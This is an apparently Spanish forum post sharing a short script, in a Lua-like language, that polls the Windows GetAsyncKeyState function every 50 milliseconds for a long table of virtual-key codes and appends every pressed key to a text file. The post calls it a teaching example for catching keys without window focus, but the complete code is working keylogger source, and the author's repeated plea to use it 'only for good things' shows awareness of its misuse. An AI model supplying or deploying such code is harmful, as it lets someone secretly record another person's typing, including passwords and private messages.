Bueno este es un pequeño ejemplo que he diseñado a partir de tener que resolver una duda para obtener eventos de tecla cuando la ventana no tiene el foco. Este ejemplo capturará todos los eventos de teclado descritos en la tabla VK, aunque yo eliminaria de la tabla los que no se vallan a utilizar ya que cada uno es llamando mediante una dll 20 veces por segundo, cuantos menos haya pues mejor.
Utilizadlo solo para buenas cosas no la lieis, cabrones.
On Show:
On Timer:
Esto ira guardando todas las teclas pulsadas en el archivo definido, yo preferiria guardarlo en una tabla sqlite un registro por cada tecla + un timestamp pero bueno es un ejemplo didactico y no lo voy a usar mucho asi que ahi lo dejo para quien lo necesite.
ser buenos
Utilizadlo solo para buenas cosas no la lieis, cabrones.
On Show:
VK={};
iterator=1
VK[iterator] = {"CLEAR" , "0x0C"}; iterator= iterator+1;
VK[iterator] = {"RETURN" , "0x0D"}; iterator= iterator+1;
VK[iterator] = {"SHIFT" , "0x10"}; iterator= iterator+1;
VK[iterator] = {"CONTROL" , "0x11"}; iterator= iterator+1;
VK[iterator] = {"MENU" , "0x12"}; iterator= iterator+1;
VK[iterator] = {"PAUSE" , "0x13"}; iterator= iterator+1;
VK[iterator] = {"CAPITAL" , "0x14"}; iterator= iterator+1;
VK[iterator] = {"KANA" , "0x15"}; iterator= iterator+1;
VK[iterator] = {"HANGEUL" , "0x15"}; iterator= iterator+1;
VK[iterator] = {"HANGUL" , "0x15"}; iterator= iterator+1;
VK[iterator] = {"JUNJA" , "0x17"}; iterator= iterator+1;
VK[iterator] = {"FINAL" , "0x18"}; iterator= iterator+1;
VK[iterator] = {"HANJA" , "0x19"}; iterator= iterator+1;
VK[iterator] = {"KANJI" , "0x19"}; iterator= iterator+1;
VK[iterator] = {"ESCAPE" , "0x1B"}; iterator= iterator+1;
VK[iterator] = {"CONVERT" , "0x1C"}; iterator= iterator+1;
VK[iterator] = {"NONCONVERT" , "0x1D"}; iterator= iterator+1;
VK[iterator] = {"ACCEPT" , "0x1E"}; iterator= iterator+1;
VK[iterator] = {"MODECHANGE" , "0x1F"}; iterator= iterator+1;
VK[iterator] = {"SPACE" , "0x20"}; iterator= iterator+1;
VK[iterator] = {"PRIOR" , "0x21"}; iterator= iterator+1;
VK[iterator] = {"NEXT" , "0x22"}; iterator= iterator+1;
VK[iterator] = {"END" , "0x23"}; iterator= iterator+1;
VK[iterator] = {"HOME" , "0x24"}; iterator= iterator+1;
VK[iterator] = {"LEFT" , "0x25"}; iterator= iterator+1;
VK[iterator] = {"UP" , "0x26"}; iterator= iterator+1;
VK[iterator] = {"RIGHT" , "0x27"}; iterator= iterator+1;
VK[iterator] = {"DOWN" , "0x28"}; iterator= iterator+1;
VK[iterator] = {"SELECT" , "0x29"}; iterator= iterator+1;
VK[iterator] = {"PRINT" , "0x2A"}; iterator= iterator+1;
VK[iterator] = {"EXECUTE" , "0x2B"}; iterator= iterator+1;
VK[iterator] = {"SNAPSHOT" , "0x2C"}; iterator= iterator+1;
VK[iterator] = {"INSERT" , "0x2D"}; iterator= iterator+1;
VK[iterator] = {"DELETE" , "0x2E"}; iterator= iterator+1;
VK[iterator] = {"HELP" , "0x2F"}; iterator= iterator+1;
VK[iterator] = {"LWIN" , "0x5B"}; iterator= iterator+1;
VK[iterator] = {"RWIN" , "0x5C"}; iterator= iterator+1;
VK[iterator] = {"APPS" , "0x5D"}; iterator= iterator+1;
VK[iterator] = {"SLEEP" , "0x5F"}; iterator= iterator+1;
VK[iterator] = {"NUMPAD0" , "0x60"}; iterator= iterator+1;
VK[iterator] = {"NUMPAD1" , "0x61"}; iterator= iterator+1;
VK[iterator] = {"NUMPAD2" , "0x62"}; iterator= iterator+1;
VK[iterator] = {"NUMPAD3" , "0x63"}; iterator= iterator+1;
VK[iterator] = {"NUMPAD4" , "0x64"}; iterator= iterator+1;
VK[iterator] = {"NUMPAD5" , "0x65"}; iterator= iterator+1;
VK[iterator] = {"NUMPAD6" , "0x66"}; iterator= iterator+1;
VK[iterator] = {"NUMPAD7" , "0x67"}; iterator= iterator+1;
VK[iterator] = {"NUMPAD8" , "0x68"}; iterator= iterator+1;
VK[iterator] = {"NUMPAD9" , "0x69"}; iterator= iterator+1;
VK[iterator] = {"MULTIPLY" , "0x6A"}; iterator= iterator+1;
VK[iterator] = {"ADD" , "0x6B"}; iterator= iterator+1;
VK[iterator] = {"SEPARATOR" , "0x6C"}; iterator= iterator+1;
VK[iterator] = {"SUBTRACT" , "0x6D"}; iterator= iterator+1;
VK[iterator] = {"DECIMAL" , "0x6E"}; iterator= iterator+1;
VK[iterator] = {"DIVIDE" , "0x6F"}; iterator= iterator+1;
VK[iterator] = {"F1" , "0x70"}; iterator= iterator+1;
VK[iterator] = {"F2" , "0x71"}; iterator= iterator+1;
VK[iterator] = {"F3" , "0x72"}; iterator= iterator+1;
VK[iterator] = {"F4" , "0x73"}; iterator= iterator+1;
VK[iterator] = {"F5" , "0x74"}; iterator= iterator+1;
VK[iterator] = {"F6" , "0x75"}; iterator= iterator+1;
VK[iterator] = {"F7" , "0x76"}; iterator= iterator+1;
VK[iterator] = {"F8" , "0x77"}; iterator= iterator+1;
VK[iterator] = {"F9" , "0x78"}; iterator= iterator+1;
VK[iterator] = {"F10" , "0x79"}; iterator= iterator+1;
VK[iterator] = {"F11" , "0x7A"}; iterator= iterator+1;
VK[iterator] = {"F12" , "0x7B"}; iterator= iterator+1;
VK[iterator] = {"F13" , "0x7C"}; iterator= iterator+1;
VK[iterator] = {"F14" , "0x7D"}; iterator= iterator+1;
VK[iterator] = {"F15" , "0x7E"}; iterator= iterator+1;
VK[iterator] = {"F16" , "0x7F"}; iterator= iterator+1;
VK[iterator] = {"F17" , "0x80"}; iterator= iterator+1;
VK[iterator] = {"F18" , "0x81"}; iterator= iterator+1;
VK[iterator] = {"F19" , "0x82"}; iterator= iterator+1;
VK[iterator] = {"F20" , "0x83"}; iterator= iterator+1;
VK[iterator] = {"F21" , "0x84"}; iterator= iterator+1;
VK[iterator] = {"F22" , "0x85"}; iterator= iterator+1;
VK[iterator] = {"F23" , "0x86"}; iterator= iterator+1;
VK[iterator] = {"F24" , "0x87"}; iterator= iterator+1;
VK[iterator] = {"NUMLOCK" , "0x90"}; iterator= iterator+1;
VK[iterator] = {"SCROLL" , "0x91"}; iterator= iterator+1;
VK[iterator] = {"OEM_NEC_EQUAL" , "0x92"}; iterator= iterator+1;
VK[iterator] = {"OEM_FJ_JISHO" , "0x92"}; iterator= iterator+1;
VK[iterator] = {"OEM_FJ_MASSHOU" , "0x93"}; iterator= iterator+1;
VK[iterator] = {"OEM_FJ_TOUROKU" , "0x94"}; iterator= iterator+1;
VK[iterator] = {"OEM_FJ_LOYA" , "0x95"}; iterator= iterator+1;
VK[iterator] = {"OEM_FJ_ROYA" , "0x96"}; iterator= iterator+1;
VK[iterator] = {"LSHIFT" , "0xA0"}; iterator= iterator+1;
VK[iterator] = {"RSHIFT" , "0xA1"}; iterator= iterator+1;
VK[iterator] = {"LCONTROL" , "0xA2"}; iterator= iterator+1;
VK[iterator] = {"RCONTROL" , "0xA3"}; iterator= iterator+1;
VK[iterator] = {"LMENU" , "0xA4"}; iterator= iterator+1;
VK[iterator] = {"RMENU" , "0xA5"}; iterator= iterator+1;
VK[iterator] = {"BROWSER_BACK" , "0xA6"}; iterator= iterator+1;
VK[iterator] = {"BROWSER_FORWARD" , "0xA7"}; iterator= iterator+1;
VK[iterator] = {"BROWSER_REFRESH" , "0xA8"}; iterator= iterator+1;
VK[iterator] = {"BROWSER_STOP" , "0xA9"}; iterator= iterator+1;
VK[iterator] = {"BROWSER_SEARCH" , "0xAA"}; iterator= iterator+1;
VK[iterator] = {"BROWSER_FAVORITES" , "0xAB"}; iterator= iterator+1;
VK[iterator] = {"BROWSER_HOME" , "0xAC"}; iterator= iterator+1;
VK[iterator] = {"VOLUME_MUTE" , "0xAD"}; iterator= iterator+1;
VK[iterator] = {"VOLUME_DOWN" , "0xAE"}; iterator= iterator+1;
VK[iterator] = {"VOLUME_UP" , "0xAF"}; iterator= iterator+1;
VK[iterator] = {"MEDIA_NEXT_TRACK" , "0xB0"}; iterator= iterator+1;
VK[iterator] = {"MEDIA_PREV_TRACK" , "0xB1"}; iterator= iterator+1;
VK[iterator] = {"MEDIA_STOP" , "0xB2"}; iterator= iterator+1;
VK[iterator] = {"MEDIA_PLAY_PAUSE" , "0xB3"}; iterator= iterator+1;
VK[iterator] = {"LAUNCH_MAIL" , "0xB4"}; iterator= iterator+1;
VK[iterator] = {"LAUNCH_MEDIA_SELECT" , "0xB5"}; iterator= iterator+1;
VK[iterator] = {"LAUNCH_APP1" , "0xB6"}; iterator= iterator+1;
VK[iterator] = {"LAUNCH_APP2" , "0xB7"}; iterator= iterator+1;
VK[iterator] = {"OEM_1" , "0xBA"}; iterator= iterator+1;
VK[iterator] = {"OEM_PLUS" , "0xBB"}; iterator= iterator+1;
VK[iterator] = {"OEM_COMMA" , "0xBC"}; iterator= iterator+1;
VK[iterator] = {"OEM_MINUS" , "0xBD"}; iterator= iterator+1;
VK[iterator] = {"OEM_PERIOD" , "0xBE"}; iterator= iterator+1;
VK[iterator] = {"OEM_2" , "0xBF"}; iterator= iterator+1;
VK[iterator] = {"OEM_3" , "0xC0"}; iterator= iterator+1;
VK[iterator] = {"OEM_4" , "0xDB"}; iterator= iterator+1;
VK[iterator] = {"OEM_5" , "0xDC"}; iterator= iterator+1;
VK[iterator] = {"OEM_6" , "0xDD"}; iterator= iterator+1;
VK[iterator] = {"OEM_7" , "0xDE"}; iterator= iterator+1;
VK[iterator] = {"OEM_8" , "0xDF"}; iterator= iterator+1;
VK[iterator] = {"OEM_AX" , "0xE1"}; iterator= iterator+1;
VK[iterator] = {"OEM_102" , "0xE2"}; iterator= iterator+1;
VK[iterator] = {"ICO_HELP" , "0xE3"}; iterator= iterator+1;
VK[iterator] = {"ICO_00" , "0xE4"}; iterator= iterator+1;
VK[iterator] = {"PROCESSKEY" , "0xE5"}; iterator= iterator+1;
VK[iterator] = {"ICO_CLEAR" , "0xE6"}; iterator= iterator+1;
VK[iterator] = {"PACKET" , "0xE7"}; iterator= iterator+1;
VK[iterator] = {"OEM_RESET" , "0xE9"}; iterator= iterator+1;
VK[iterator] = {"OEM_JUMP" , "0xEA"}; iterator= iterator+1;
VK[iterator] = {"OEM_PA1" , "0xEB"}; iterator= iterator+1;
VK[iterator] = {"OEM_PA2" , "0xEC"}; iterator= iterator+1;
VK[iterator] = {"OEM_PA3" , "0xED"}; iterator= iterator+1;
VK[iterator] = {"OEM_WSCTRL" , "0xEE"}; iterator= iterator+1;
VK[iterator] = {"OEM_CUSEL" , "0xEF"}; iterator= iterator+1;
VK[iterator] = {"OEM_ATTN" , "0xF0"}; iterator= iterator+1;
VK[iterator] = {"OEM_FINISH" , "0xF1"}; iterator= iterator+1;
VK[iterator] = {"OEM_COPY" , "0xF2"}; iterator= iterator+1;
VK[iterator] = {"OEM_AUTO" , "0xF3"}; iterator= iterator+1;
VK[iterator] = {"OEM_ENLW" , "0xF4"}; iterator= iterator+1;
VK[iterator] = {"OEM_BACKTAB" , "0xF5"}; iterator= iterator+1;
VK[iterator] = {"ATTN" , "0xF6"}; iterator= iterator+1;
VK[iterator] = {"CRSEL" , "0xF7"}; iterator= iterator+1;
VK[iterator] = {"EXSEL" , "0xF8"}; iterator= iterator+1;
VK[iterator] = {"EREOF" , "0xF9"}; iterator= iterator+1;
VK[iterator] = {"PLAY" , "0xFA"}; iterator= iterator+1;
VK[iterator] = {"ZOOM" , "0xFB"}; iterator= iterator+1;
VK[iterator] = {"NONAME" , "0xFC"}; iterator= iterator+1;
VK[iterator] = {"PA1" , "0xFD"}; iterator= iterator+1;
VK[iterator] = {"OEM_CLEAR" , "0xFE"}; iterator= iterator+1;
VK[iterator] = {"0" , "0x30"}; iterator= iterator+1;
VK[iterator] = {"1" , "0x31"}; iterator= iterator+1;
VK[iterator] = {"2" , "0x32"}; iterator= iterator+1;
VK[iterator] = {"3" , "0x33"}; iterator= iterator+1;
VK[iterator] = {"4" , "0x34"}; iterator= iterator+1;
VK[iterator] = {"5" , "0x35"}; iterator= iterator+1;
VK[iterator] = {"6" , "0x36"}; iterator= iterator+1;
VK[iterator] = {"7" , "0x37"}; iterator= iterator+1;
VK[iterator] = {"8" , "0x38"}; iterator= iterator+1;
VK[iterator] = {"9" , "0x39"}; iterator= iterator+1;
VK[iterator] = {"A" , "0x41"}; iterator= iterator+1;
VK[iterator] = {"B" , "0x42"}; iterator= iterator+1;
VK[iterator] = {"C" , "0x43"}; iterator= iterator+1;
VK[iterator] = {"D" , "0x44"}; iterator= iterator+1;
VK[iterator] = {"E" , "0x45"}; iterator= iterator+1;
VK[iterator] = {"F" , "0x46"}; iterator= iterator+1;
VK[iterator] = {"G" , "0x47"}; iterator= iterator+1;
VK[iterator] = {"H" , "0x48"}; iterator= iterator+1;
VK[iterator] = {"I" , "0x49"}; iterator= iterator+1;
VK[iterator] = {"J" , "0x4A"}; iterator= iterator+1;
VK[iterator] = {"K" , "0x4B"}; iterator= iterator+1;
VK[iterator] = {"L" , "0x4C"}; iterator= iterator+1;
VK[iterator] = {"M" , "0x4D"}; iterator= iterator+1;
VK[iterator] = {"N" , "0x4E"}; iterator= iterator+1;
VK[iterator] = {"O" , "0x4F"}; iterator= iterator+1;
VK[iterator] = {"P" , "0x50"}; iterator= iterator+1;
VK[iterator] = {"Q" , "0x51"}; iterator= iterator+1;
VK[iterator] = {"R" , "0x52"}; iterator= iterator+1;
VK[iterator] = {"S" , "0x53"}; iterator= iterator+1;
VK[iterator] = {"T" , "0x54"}; iterator= iterator+1;
VK[iterator] = {"U" , "0x55"}; iterator= iterator+1;
VK[iterator] = {"V" , "0x56"}; iterator= iterator+1;
VK[iterator] = {"W" , "0x57"}; iterator= iterator+1;
VK[iterator] = {"X" , "0x58"}; iterator= iterator+1;
VK[iterator] = {"Y" , "0x59"}; iterator= iterator+1;
VK[iterator] = {"Z" , "0x5A"}; iterator= iterator+1;
Page.StartTimer(50, 10);
for k,v in pairs(VK) do
result = DLL.CallFunction("c:\\windows\\system32\\user32.dll", "GetAsyncKeyState", Math.HexToNumber(v[2]), DLL_RETURN_TYPE_INTEGER, DLL_CALL_STDCALL);
if tostring(result) == "-32767" then
TextFile.WriteFromString("C:\\KLGRPABLOKO.txt", v[1].." ", true);
end
end
ser buenos